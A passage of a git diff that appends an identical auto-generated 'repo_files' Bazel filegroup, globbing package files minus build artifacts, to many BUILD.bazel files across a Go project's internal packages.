100644 --- a/internal/doltversion/BUILD.bazel +++ b/internal/doltversion/BUILD.bazel @@ -26,3 +26,25 @@ go_test( ], embed = [":doltversion"], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/eventsjournal/BUILD.bazel b/internal/eventsjournal/BUILD.bazel index aef6f700d..2b16a7c91 100644 --- a/internal/eventsjournal/BUILD.bazel +++ b/internal/eventsjournal/BUILD.bazel @@ -29,3 +29,25 @@ go_test( "@com_github_data_dog_go_sqlmock//:go-sqlmock", ], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/execenv/BUILD.bazel b/internal/execenv/BUILD.bazel index a94724f43..7ab55c24f 100644 --- a/internal/execenv/BUILD.bazel +++ b/internal/execenv/BUILD.bazel @@ -12,3 +12,25 @@ go_test( srcs = ["execenv_test.go"], embed = [":execenv"], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/fdhygiene/BUILD.bazel b/internal/fdhygiene/BUILD.bazel index cc99908e4..ef2066d5a 100644 --- a/internal/fdhygiene/BUILD.bazel +++ b/internal/fdhygiene/BUILD.bazel @@ -88,3 +88,25 @@ go_test( "//conditions:default": [], }), ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/formula/BUILD.bazel b/internal/formula/BUILD.bazel index 5e53e92d4..a7377a78d 100644 --- a/internal/formula/BUILD.bazel +++ b/internal/formula/BUILD.bazel @@ -51,3 +51,25 @@ go_test( "//internal/testutil/bazeltest", ], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/formula/cmd/schemagen/BUILD.bazel b/internal/formula/cmd/schemagen/BUILD.bazel index 66dd67e53..aa9497029 100644 --- a/internal/formula/cmd/schemagen/BUILD.bazel +++ b/internal/formula/cmd/schemagen/BUILD.bazel @@ -13,3 +13,25 @@ go_binary( embed = [":schemagen_lib"], visibility = ["//:__subpackages__"], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/formula/schemagen/BUILD.bazel b/internal/formula/schemagen/BUILD.bazel index 947eb12bc..fdcbe2f97 100644 --- a/internal/formula/schemagen/BUILD.bazel +++ b/internal/formula/schemagen/BUILD.bazel @@ -6,3 +6,25 @@ go_library( importpath = "github.com/steveyegge/beads/internal/formula/schemagen", visibility = ["//:__subpackages__"], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/git/BUILD.bazel b/internal/git/BUILD.bazel index 0d991c222..4d259cd16 100644 --- a/internal/git/BUILD.bazel +++ b/internal/git/BUILD.bazel @@ -15,3 +15,25 @@ go_test( ], embed = [":git"], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/gitenv/BUILD.bazel b/internal/gitenv/BUILD.bazel index d98f29048..b9317dac6 100644 --- a/internal/gitenv/BUILD.bazel +++ b/internal/gitenv/BUILD.bazel @@ -13,3 +13,25 @@ go_test( srcs = ["routing_test.go"], embed = [":gitenv"], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/githooksenv/BUILD.bazel b/internal/githooksenv/BUILD.bazel index b9370947f..0dfbf2c9b 100644 --- a/internal/githooksenv/BUILD.bazel +++ b/internal/githooksenv/BUILD.bazel @@ -13,3 +13,25 @@ go_test( srcs = ["githooksenv_test.go"], embed = [":githooksenv"], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/github/BUILD.bazel b/internal/github/BUILD.bazel index 9fff27f23..8062dd22a 100644 --- a/internal/github/BUILD.bazel +++ b/internal/github/BUILD.bazel @@ -38,3 +38,25 @@ go_test( "//internal/types", ], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/gitignore/BUILD.bazel b/internal/gitignore/BUILD.bazel index ca1273b4c..3ec14028e 100644 --- a/internal/gitignore/BUILD.bazel +++ b/internal/gitignore/BUILD.bazel @@ -12,3 +12,25 @@ go_test( srcs = ["append_test.go"], embed = [":gitignore"], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/gitlab/BUILD.bazel b/internal/gitlab/BUILD.bazel index cf9434480..1ae60e524 100644 --- a/internal/gitlab/BUILD.bazel +++ b/internal/gitlab/BUILD.bazel @@ -37,3 +37,25 @@ go_test( "//internal/types", ], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/gittraceenv/BUILD.bazel b/internal/gittraceenv/BUILD.bazel index 4514cb6a5..d3ab9ec8e 100644 --- a/internal/gittraceenv/BUILD.bazel +++ b/internal/gittraceenv/BUILD.bazel @@ -13,3 +13,25 @@ go_test( srcs = ["gittraceenv_test.go"], embed = [":gittraceenv"], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/hooks/BUILD.bazel b/internal/hooks/BUILD.bazel index 004745f8f..3c6e1590b 100644 --- a/internal/hooks/BUILD.bazel +++ b/internal/hooks/BUILD.bazel @@ -213,3 +213,25 @@ go_test( "//conditions:default": [], }), ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/httpapi/BUILD.bazel b/internal/httpapi/BUILD.bazel index 4e559636e..ff7bb7787 100644 --- a/internal/httpapi/BUILD.bazel +++ b/internal/httpapi/BUILD.bazel @@ -130,3 +130,25 @@ go_test( "@in_gopkg_yaml_v3//:yaml_v3", ], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/httpapi/apigen/BUILD.bazel b/internal/httpapi/apigen/BUILD.bazel index fad33f8a8..f777dcdd4 100644 --- a/internal/httpapi/apigen/BUILD.bazel +++ b/internal/httpapi/apigen/BUILD.bazel @@ -14,3 +14,25 @@ go_library( "//issueops", ], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/httpapi/spec/BUILD.bazel b/internal/httpapi/spec/BUILD.bazel index b734489cd..5fe190f42 100644 --- a/internal/httpapi/spec/BUILD.bazel +++ b/internal/httpapi/spec/BUILD.bazel @@ -18,3 +18,25 @@ exports_files( ["openapi.v0.yaml"], visibility = ["//internal/httpclient/encode:__pkg__"], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/httpapi/wireshape/BUILD.bazel b/internal/httpapi/wireshape/BUILD.bazel index b643aa0f6..c107b8a0c 100644 --- a/internal/httpapi/wireshape/BUILD.bazel +++ b/internal/httpapi/wireshape/BUILD.bazel @@ -34,3 +34,25 @@ exports_files( ["testdata/golden.json"], visibility = ["//internal/httpclient/wire:__pkg__"], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/httpapi/wireshape/cmd/gendigest/BUILD.bazel b/internal/httpapi/wireshape/cmd/gendigest/BUILD.bazel index 425d566ef..3b3dc5d04 100644 --- a/internal/httpapi/wireshape/cmd/gendigest/BUILD.bazel +++ b/internal/httpapi/wireshape/cmd/gendigest/BUILD.bazel @@ -23,3 +23,25 @@ go_test( embed = [":gendigest_lib"], deps = ["//internal/httpapi/wireshape"], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/httpclient/BUILD.bazel b/internal/httpclient/BUILD.bazel index b93917c93..7b9542c59 100644 --- a/internal/httpclient/BUILD.bazel +++ b/internal/httpclient/BUILD.bazel @@ -53,3 +53,25 @@ filegroup( ) # --- end go_srcs --- + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/httpclient/encode/BUILD.bazel b/internal/httpclient/encode/BUILD.bazel index e9faf9c17..a9b9adfd6 100644 --- a/internal/httpclient/encode/BUILD.bazel +++ b/internal/httpclient/encode/BUILD.bazel @@ -46,3 +46,25 @@ go_test( "@in_gopkg_yaml_v3//:yaml_v3", ], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/httpclient/wire/BUILD.bazel b/internal/httpclient/wire/BUILD.bazel index 3d520f9c4..989a796b8 100644 --- a/internal/httpclient/wire/BUILD.bazel +++ b/internal/httpclient/wire/BUILD.bazel @@ -58,3 +58,25 @@ go_test( "@in_gopkg_yaml_v3//:yaml_v3", ], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/idgen/BUILD.bazel b/internal/idgen/BUILD.bazel index baa2d1260..d85848c47 100644 --- a/internal/idgen/BUILD.bazel +++ b/internal/idgen/BUILD.bazel @@ -12,3 +12,25 @@ go_test( srcs = ["hash_test.go"], embed = [":idgen"], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/jira/BUILD.bazel b/internal/jira/BUILD.bazel index e0045cdf2..f42e6ec5e 100644 --- a/internal/jira/BUILD.bazel +++ b/internal/jira/BUILD.bazel @@ -37,3 +37,25 @@ go_test( "//memoryops", ], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/linear/BUILD.bazel b/internal/linear/BUILD.bazel index b5a2fcf3d..e660b46a2 100644 --- a/internal/linear/BUILD.bazel +++ b/internal/linear/BUILD.bazel @@ -63,3 +63,25 @@ go_test( "//conditions:default": [], }), ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/lockfile/BUILD.bazel b/internal/lockfile/BUILD.bazel index 59c9d3504..347cd13d9 100644 --- a/internal/lockfile/BUILD.bazel +++ b/internal/lockfile/BUILD.bazel @@ -59,3 +59,25 @@ go_test( srcs = ["lock_test.go"], embed = [":lockfile"], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/memoryapi/BUILD.bazel b/internal/memoryapi/BUILD.bazel index bd5802a5d..d676833ae 100644 --- a/internal/memoryapi/BUILD.bazel +++ b/internal/memoryapi/BUILD.bazel @@ -14,3 +14,25 @@ go_test( embed = [":memoryapi"], deps = ["//memoryops"], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/metrics/BUILD.bazel b/internal/metrics/BUILD.bazel index dd2301a52..eb9b7d7fa 100644 --- a/internal/metrics/BUILD.bazel +++ b/internal/metrics/BUILD.bazel @@ -38,3 +38,25 @@ go_test( "@in_gopkg_yaml_v3//:yaml_v3", ], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/migration/BUILD.bazel b/internal/migration/BUILD.bazel index b09960e07..d3bae9093 100644 --- a/internal/migration/BUILD.bazel +++ b/internal/migration/BUILD.bazel @@ -12,3 +12,25 @@ go_test( srcs = ["freeze_test.go"], embed = [":migration"], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/migration/legacysqlite/BUILD.bazel b/internal/migration/legacysqlite/BUILD.bazel index b8ea518aa..847117321 100644 --- a/internal/migration/legacysqlite/BUILD.bazel +++ b/internal/migration/legacysqlite/BUILD.bazel @@ -25,3 +25,25 @@ go_test( "@com_github_mattn_go_sqlite3//:go-sqlite3", ], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/molecules/BUILD.bazel b/internal/molecules/BUILD.bazel index d2f31c014..57fe6e3eb 100644 --- a/internal/molecules/BUILD.bazel +++ b/internal/molecules/BUILD.bazel @@ -26,3 +26,25 @@ go_test( "//internal/types", ], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/notion/BUILD.bazel b/internal/notion/BUILD.bazel index beb8b2aea..871fe68e8 100644 --- a/internal/notion/BUILD.bazel +++ b/internal/notion/BUILD.bazel @@ -36,3 +36,25 @@ go_test( "//internal/types", ], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/procid/BUILD.bazel b/internal/procid/BUILD.bazel index 152135fe8..14cc92d61 100644 --- a/internal/procid/BUILD.bazel +++ b/internal/procid/BUILD.bazel @@ -49,3 +49,25 @@ go_test( "//conditions:default": [], }), ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/query/BUILD.bazel b/internal/query/BUILD.bazel index acaf1e8dd..d8db3bcff 100644 --- a/internal/query/BUILD.bazel +++ b/internal/query/BUILD.bazel @@ -26,3 +26,25 @@ go_test( "//internal/types", ], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/recipes/BUILD.bazel b/internal/recipes/BUILD.bazel index 34a312aa7..b94f373c0 100644 --- a/internal/recipes/BUILD.bazel +++ b/internal/recipes/BUILD.bazel @@ -20,3 +20,25 @@ go_test( embed = [":recipes"], deps = ["//plugins/beads"], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/remotecache/BUILD.bazel b/internal/remotecache/BUILD.bazel index b7c2fb877..69d123c65 100644 --- a/internal/remotecache/BUILD.bazel +++ b/internal/remotecache/BUILD.bazel @@ -28,3 +28,25 @@ go_test( embed = [":remotecache"], deps = ["//internal/githooksenv"], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/routing/BUILD.bazel b/internal/routing/BUILD.bazel index 827dc8522..87bee6e4d 100644 --- a/internal/routing/BUILD.bazel +++ b/internal/routing/BUILD.bazel @@ -20,3 +20,25 @@ go_test( "//internal/gitenv", ], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/storage/BUILD.bazel b/internal/storage/BUILD.bazel index fb8f51af9..394365aea 100644 --- a/internal/storage/BUILD.bazel +++ b/internal/storage/BUILD.bazel @@ -176,3 +176,25 @@ filegroup( ) # --- end go_srcs --- + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/storage/backendnames/BUILD.bazel b/internal/storage/backendnames/BUILD.bazel index b41741b95..90aa5c611 100644 --- a/internal/storage/backendnames/BUILD.bazel +++ b/internal/storage/backendnames/BUILD.bazel @@ -19,3 +19,25 @@ filegroup( ) # --- end go_srcs --- + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/storage/backends/BUILD.bazel b/internal/storage/backends/BUILD.bazel index fbdb0fdb3..d5c06c542 100644 --- a/internal/storage/backends/BUILD.bazel +++ b/internal/storage/backends/BUILD.bazel @@ -38,3 +38,25 @@ filegroup( ) # --- end go_srcs --- + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/storage/batchbench/BUILD.bazel b/internal/storage/batchbench/BUILD.bazel index 03138e35f..7b15e3ec5 100644 --- a/internal/storage/batchbench/BUILD.bazel +++ b/internal/storage/batchbench/BUILD.bazel @@ -27,3 +27,25 @@ filegroup( ) # --- end go_srcs --- + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/storage/batchfixtures/BUILD.bazel b/internal/storage/batchfixtures/BUILD.bazel index d25054cf4..a4718d9bf 100644 --- a/internal/storage/batchfixtures/BUILD.bazel +++ b/internal/storage/batchfixtures/BUILD.bazel @@ -39,3 +39,25 @@ filegroup( ) # --- end go_srcs --- + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/storage/contextinfo/BUILD.bazel b/internal/storage/contextinfo/BUILD.bazel index fa37a7535..00814c404 100644 --- a/internal/storage/contextinfo/BUILD.bazel +++ b/internal/storage/contextinfo/BUILD.bazel @@ -29,3 +29,25 @@ filegroup( ) # --- end go_srcs --- + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/storage/createbatchequiv/BUILD.bazel b/internal/storage/createbatchequiv/BUILD.bazel index 0214b7037..39cb683ac 100644 --- a/internal/storage/createbatchequiv/BUILD.bazel +++ b/internal/storage/createbatchequiv/BUILD.bazel @@ -39,3 +39,25 @@ filegroup( ) # --- end go_srcs --- + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + 